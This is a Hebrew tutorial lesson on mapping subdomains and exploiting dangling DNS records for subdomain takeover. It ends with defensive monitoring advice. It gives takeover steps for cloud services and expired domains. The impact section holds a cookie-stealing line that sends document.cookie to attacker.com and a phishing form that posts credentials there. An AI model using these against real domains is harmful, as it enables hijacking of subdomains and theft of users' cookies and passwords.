סאבדומיין ו-Subdomain Takeover¶
מבוא¶
סאבדומיינים הם חלק בלתי נפרד מהתשתית של ארגונים. חברות גדולות מתחזקות מאות ואלפי סאבדומיינים - לסביבות פיתוח, ממשקי API, פאנלי ניהול, שירותי staging, ועוד. מיפוי סאבדומיינים הוא שלב קריטי בחקירה, וכאשר סאבדומיין מפנה למשאב שאינו קיים עוד - נוצרת הזדמנות לתקיפת Subdomain Takeover.
בשיעור זה נלמד טכניקות מתקדמות למיפוי סאבדומיינים, נבין את מתקפת Subdomain Takeover לעומק, ונתרגל זיהוי וניצול של רשומות DNS תלויות.
מיפוי סאבדומיינים - טכניקות¶
שיטה 1 - סריקת DNS בכוח (Brute Force)¶
סריקת DNS בכוח שולחת שאילתות DNS לשמות סאבדומיינים מתוך רשימת מילים.
# שימוש ב-ffuf לסריקת סאבדומיינים
ffuf -u "https://FUZZ.target.com" -w /usr/share/wordlists/subdomains-top1million-5000.txt \
-mc 200,301,302,403 -o subdomains.json -of json
# שימוש ב-gobuster
gobuster dns -d target.com -w /usr/share/wordlists/subdomains-top1million-5000.txt -t 50
# שימוש ב-dnsx לבדיקת רשומות DNS
cat wordlist.txt | sed 's/$/.target.com/' | dnsx -silent -a -resp
שיטה 2 - שקיפות תעודות (Certificate Transparency)¶
רישומי שקיפות תעודות (CT Logs) מכילים את כל תעודות ה-SSL שהונפקו, כולל שמות סאבדומיינים.
# שימוש ב-crt.sh - מסד נתונים של תעודות SSL
curl -s "https://crt.sh/?q=%25.target.com&output=json" | \
jq -r '.[].name_value' | sort -u > ct_subdomains.txt
# סקריפט Python לשאילתת crt.sh
# crt_enum.py - מיפוי סאבדומיינים מ-Certificate Transparency
import requests
import json
import sys
def get_subdomains_from_crt(domain):
url = f"https://crt.sh/?q=%25.{domain}&output=json"
try:
response = requests.get(url, timeout=30)
data = json.loads(response.text)
subdomains = set()
for entry in data:
name = entry.get("name_value", "")
for sub in name.split("\n"):
sub = sub.strip().lower()
if sub.endswith(domain) and "*" not in sub:
subdomains.add(sub)
return sorted(subdomains)
except Exception as e:
print(f"[-] Error: {e}")
return []
if __name__ == "__main__":
domain = sys.argv[1]
subs = get_subdomains_from_crt(domain)
print(f"[+] Found {len(subs)} subdomains for {domain}:")
for sub in subs:
print(f" {sub}")
שיטה 3 - כלים ייעודיים¶
# amass - הכלי המקיף ביותר למיפוי סאבדומיינים
# משלב מקורות רבים: DNS, CT logs, APIs, web archives
amass enum -d target.com -o amass_results.txt
# amass עם מקורות פסיביים בלבד (שקט יותר)
amass enum -passive -d target.com -o amass_passive.txt
# subfinder - מהיר ויעיל
subfinder -d target.com -o subfinder_results.txt
# subfinder עם מקורות API (דורש הגדרת מפתחות)
subfinder -d target.com -all -o subfinder_all.txt
# knockpy
knockpy target.com
# dnsrecon
dnsrecon -d target.com -t std,brt
# שילוב תוצאות מכל הכלים
cat amass_results.txt subfinder_results.txt ct_subdomains.txt | sort -u > all_subdomains.txt
echo "[+] Total unique subdomains: $(wc -l < all_subdomains.txt)"
שיטה 4 - דורקינג במנועי חיפוש¶
# Google Dorks
site:target.com -www
site:*.target.com
site:target.com inurl:admin
site:target.com inurl:dev
site:target.com inurl:staging
site:target.com inurl:api
# Shodan
hostname:target.com
ssl.cert.subject.cn:target.com
# Censys
parsed.names: target.com
שיטה 5 - סריקה מסיבית עם massdns¶
# massdns - סריקת DNS מהירה במיוחד
# מתאים לסריקה של מיליוני שמות
# התקנה
git clone https://github.com/blechschmidt/massdns.git
cd massdns && make
# יצירת רשימת סאבדומיינים לבדיקה
cat wordlist.txt | sed "s/$/.target.com/" > to_resolve.txt
# סריקה עם רשימת שרתי DNS ציבוריים
./bin/massdns -r lists/resolvers.txt -t A -o S to_resolve.txt > massdns_results.txt
# סינון תוצאות חיוביות
grep -v "NXDOMAIN" massdns_results.txt | awk '{print $1}' | sed 's/\.$//' | sort -u
בדיקת סאבדומיינים חיים¶
לאחר מיפוי הסאבדומיינים, נבדוק אילו מהם פעילים:
# httpx - בדיקת שרתי HTTP
cat all_subdomains.txt | httpx -silent -status-code -title -tech-detect -o live_subdomains.txt
# דוגמת פלט:
# https://admin.target.com [200] [Admin Panel] [Nginx,PHP]
# https://api.target.com [200] [API Documentation] [Node.js,Express]
# https://staging.target.com [403] [Forbidden] [Apache]
# https://old.target.com [404] [Not Found] [CloudFront]
# סינון לפי קוד תגובה
cat live_subdomains.txt | grep "\[200\]"
cat live_subdomains.txt | grep "\[403\]" # יכול להצביע על משאב מוגן
מתקפת Subdomain Takeover¶
מה זה Subdomain Takeover¶
מתקפת Subdomain Takeover קורית כאשר:
1. לדומיין יש רשומת DNS (בדרך כלל CNAME) שמפנה לשירות חיצוני
2. השירות החיצוני כבר אינו בשימוש (החשבון נמחק, המשאב הוסר)
3. תוקף יכול ליצור את המשאב החסר ולהשתלט על הסאבדומיין
# מצב תקין:
blog.target.com -> CNAME -> target.github.io -> GitHub Pages (פעיל)
# מצב פגיע:
old-blog.target.com -> CNAME -> target-old.github.io -> GitHub Pages (לא קיים!)
# תוקף יכול ליצור את target-old.github.io ולהשתלט על old-blog.target.com
זיהוי רשומות DNS תלויות¶
# בדיקת רשומות CNAME
dig +short CNAME blog.target.com
# תוצאה: target.github.io.
# בדיקה האם היעד קיים
dig +short A target.github.io
# אם אין תשובה - ייתכן שניתן לבצע takeover
# סקריפט לבדיקת כל הסאבדומיינים
while read sub; do
cname=$(dig +short CNAME "$sub" | head -1)
if [ -n "$cname" ]; then
a_record=$(dig +short A "$cname" | head -1)
if [ -z "$a_record" ]; then
echo "[POTENTIAL TAKEOVER] $sub -> $cname (no A record)"
else
echo "[OK] $sub -> $cname -> $a_record"
fi
fi
done < all_subdomains.txt
שירותים פגיעים נפוצים¶
GitHub Pages¶
# זיהוי:
# CNAME מפנה ל-*.github.io
# התגובה מכילה: "There isn't a GitHub Pages site here."
# בדיקה
curl -s https://old-blog.target.com
# "There isn't a GitHub Pages site here."
# ניצול:
# 1. צרו repository חדש בשם target-old.github.io
# 2. הוסיפו קובץ CNAME עם הערך: old-blog.target.com
# 3. הוסיפו index.html עם תוכן
# 4. הפעילו GitHub Pages
# כעת old-blog.target.com מציג את התוכן שלכם
AWS S3¶
# זיהוי:
# CNAME מפנה ל-*.s3.amazonaws.com או *.s3-website-*.amazonaws.com
# התגובה: "NoSuchBucket" (קוד 404)
curl -s http://assets.target.com
# <Error><Code>NoSuchBucket</Code><Message>The specified bucket does not exist</Message>
# <BucketName>target-assets</BucketName></Error>
# ניצול:
# 1. צרו S3 bucket בשם target-assets באותו אזור
aws s3 mb s3://target-assets --region us-east-1
# 2. העלו תוכן
aws s3 cp index.html s3://target-assets/ --acl public-read
# 3. הגדירו static website hosting
aws s3 website s3://target-assets/ --index-document index.html
Azure¶
# זיהוי:
# CNAME מפנה ל-*.azurewebsites.net, *.cloudapp.azure.com,
# *.blob.core.windows.net, *.trafficmanager.net
# התגובה: שגיאת 404 של Azure
curl -sI https://app.target.com
# הכותרת מכילה: "Microsoft-Azure-Web-Apps" וקוד 404
# ניצול:
# 1. צרו Azure App Service עם אותו שם
# 2. הגדירו Custom Domain לסאבדומיין
Heroku¶
# זיהוי:
# CNAME מפנה ל-*.herokuapp.com או *.herokudns.com
# התגובה: "No such app" או "herokucdn.com/error-pages/no-such-app.html"
curl -s https://app.target.com
# "No such app"
# ניצול:
# 1. צרו אפליקציית Heroku עם אותו שם
heroku create target-app-name
# 2. הגדירו את הדומיין
heroku domains:add app.target.com
Shopify¶
# זיהוי:
# CNAME מפנה ל-shops.myshopify.com
# התגובה: "Sorry, this shop is currently unavailable."
# ניצול:
# 1. צרו חנות Shopify
# 2. הגדירו custom domain לסאבדומיין
Fastly / CloudFront¶
# Fastly:
# CNAME מפנה ל-*.fastly.net
# התגובה: "Fastly error: unknown domain"
# CloudFront:
# CNAME מפנה ל-*.cloudfront.net
# התגובה: "Bad Request" או "The request could not be satisfied"
# CloudFront takeover הוא מורכב יותר ודורש את ה-distribution ID
כלים לזיהוי Subdomain Takeover¶
subjack¶
# התקנה
go install github.com/haccer/subjack@latest
# סריקה
subjack -w all_subdomains.txt -t 100 -timeout 30 -o takeover_results.txt -ssl
# סריקה עם fingerprints מותאמים
subjack -w all_subdomains.txt -t 100 -c /path/to/fingerprints.json -o results.txt
nuclei עם תבניות takeover¶
# סריקה עם nuclei
cat all_subdomains.txt | nuclei -t takeovers/ -o takeover_nuclei.txt
# דוגמת פלט:
# [aws-bucket-takeover] [http] [high] https://assets.target.com
# [github-takeover] [http] [high] https://blog.target.com
can-i-take-over-xyz¶
מאגר מידע שמתעד אילו שירותים פגיעים ל-takeover ואילו לא:
# https://github.com/EdOverflow/can-i-take-over-xyz
# מכיל:
# - רשימת שירותים פגיעים ושאינם פגיעים
# - דפוסי זיהוי (fingerprints) לכל שירות
# - הוראות ניצול
# - סטטוס עדכני (חלק מהשירותים תיקנו את הבעיה)
Subdomain Takeover דרך דומיינים שפגו¶
כיצד זה עובד¶
# מצב מקורי:
app.target.com -> CNAME -> custom-app.expired-domain.com
custom-app.expired-domain.com -> A -> 1.2.3.4
# לאחר שהדומיין פג:
app.target.com -> CNAME -> custom-app.expired-domain.com
custom-app.expired-domain.com -> (לא קיים - הדומיין פנוי לרכישה)
# ניצול:
# 1. רכשו את expired-domain.com
# 2. צרו רשומת A עבור custom-app.expired-domain.com
# 3. כעת app.target.com מפנה לשרת שלכם
# בדיקה האם דומיין פנוי לרכישה
whois expired-domain.com | grep -i "status\|expir"
# חיפוש רשומות CNAME שמפנות לדומיינים שפגו
while read sub; do
cname=$(dig +short CNAME "$sub" | head -1 | sed 's/\.$//')
if [ -n "$cname" ]; then
domain=$(echo "$cname" | awk -F. '{print $(NF-1)"."$NF}')
whois "$domain" 2>/dev/null | grep -qi "no match\|not found\|available" && \
echo "[EXPIRED] $sub -> $cname (domain: $domain)"
fi
done < all_subdomains.txt
השפעה וחומרת הפגיעה¶
גניבת עוגיות - Cookie Stealing¶
// אם target.com מגדיר עוגיות עם domain=.target.com
// תוקף שהשתלט על sub.target.com יכול לקרוא אותן
// קוד בדף שהתוקף שולט בו (sub.target.com):
document.location = "https://attacker.com/steal?cookie=" + document.cookie;
// עוגיות של target.com עם domain=.target.com יהיו נגישות
פישינג - Phishing¶
<!-- דף פישינג ב-sub.target.com -->
<!-- נראה לגיטימי כי הדומיין הוא target.com -->
<html>
<body>
<h1>כניסה למערכת</h1>
<form action="https://attacker.com/phish" method="POST">
<input name="username" placeholder="שם משתמש">
<input name="password" type="password" placeholder="סיסמה">
<button type="submit">כניסה</button>
</form>
</body>
</html>
הרעלת SEO - SEO Poisoning¶
<!-- תוקף יכול להוסיף תוכן זדוני שמשפיע על הדירוג של target.com -->
<!-- גוגל רואה את sub.target.com כחלק מ-target.com -->
<meta name="description" content="Buy cheap products at target.com">
<a href="https://malicious-shop.com">Click here for deals</a>
ניצול לתקיפות אחרות¶
- עקיפת CORS - אם target.com מאפשר בקשות מ-*.target.com
- עקיפת CSP - אם ה-CSP כולל *.target.com כמקור מותר
- תקיפת OAuth - שימוש בסאבדומיין כ-redirect URI
הגנה מפני Subdomain Takeover¶
ניטור רשומות DNS¶
# סקריפט ניטור פשוט שרץ כ-cron job
#!/bin/bash
DOMAIN="target.com"
KNOWN_SUBS="known_subdomains.txt"
ALERT_EMAIL="security@target.com"
# מיפוי סאבדומיינים נוכחיים
subfinder -d "$DOMAIN" -silent > current_subs.txt
# בדיקת רשומות CNAME תלויות
while read sub; do
cname=$(dig +short CNAME "$sub" | head -1)
if [ -n "$cname" ]; then
resolved=$(dig +short A "$cname" | head -1)
if [ -z "$resolved" ]; then
echo "ALERT: Dangling CNAME: $sub -> $cname" | \
mail -s "Subdomain Takeover Risk" "$ALERT_EMAIL"
fi
fi
done < current_subs.txt
שיטות הגנה¶
- מחיקת רשומות DNS - כאשר שירות כבר אינו בשימוש, מחקו את רשומת ה-DNS
- ניטור שוטף - הריצו סריקות תקופתיות לזיהוי רשומות תלויות
- שמירת משאבים - אל תשחררו שמות של משאבים בשירותי ענן (S3 buckets, App Services)
- שימוש ב-CNAME בזהירות - העדיפו רשומות A על פני CNAME כאשר אפשר
- תיעוד - נהלו רשימה מעודכנת של כל הסאבדומיינים והמשאבים שלהם
סיכום¶
בשיעור זה למדנו:
- מיפוי סאבדומיינים - שימוש ב-amass, subfinder, crt.sh, massdns, ודורקינג
- מתקפת Subdomain Takeover - כיצד רשומות DNS תלויות מאפשרות השתלטות
- שירותים פגיעים - GitHub Pages, AWS S3, Azure, Heroku, Shopify, Fastly
- כלי זיהוי - subjack, nuclei, can-i-take-over-xyz
- השפעה - גניבת עוגיות, פישינג, עקיפת CORS/CSP
- הגנה - ניטור DNS, מחיקת רשומות, תיעוד משאבים
מיפוי סאבדומיינים ובדיקת takeover הם שלבים שצריך לבצע בכל חקירה. מדובר בחולשות שמניבות דוחות באג באונטי באופן קבוע.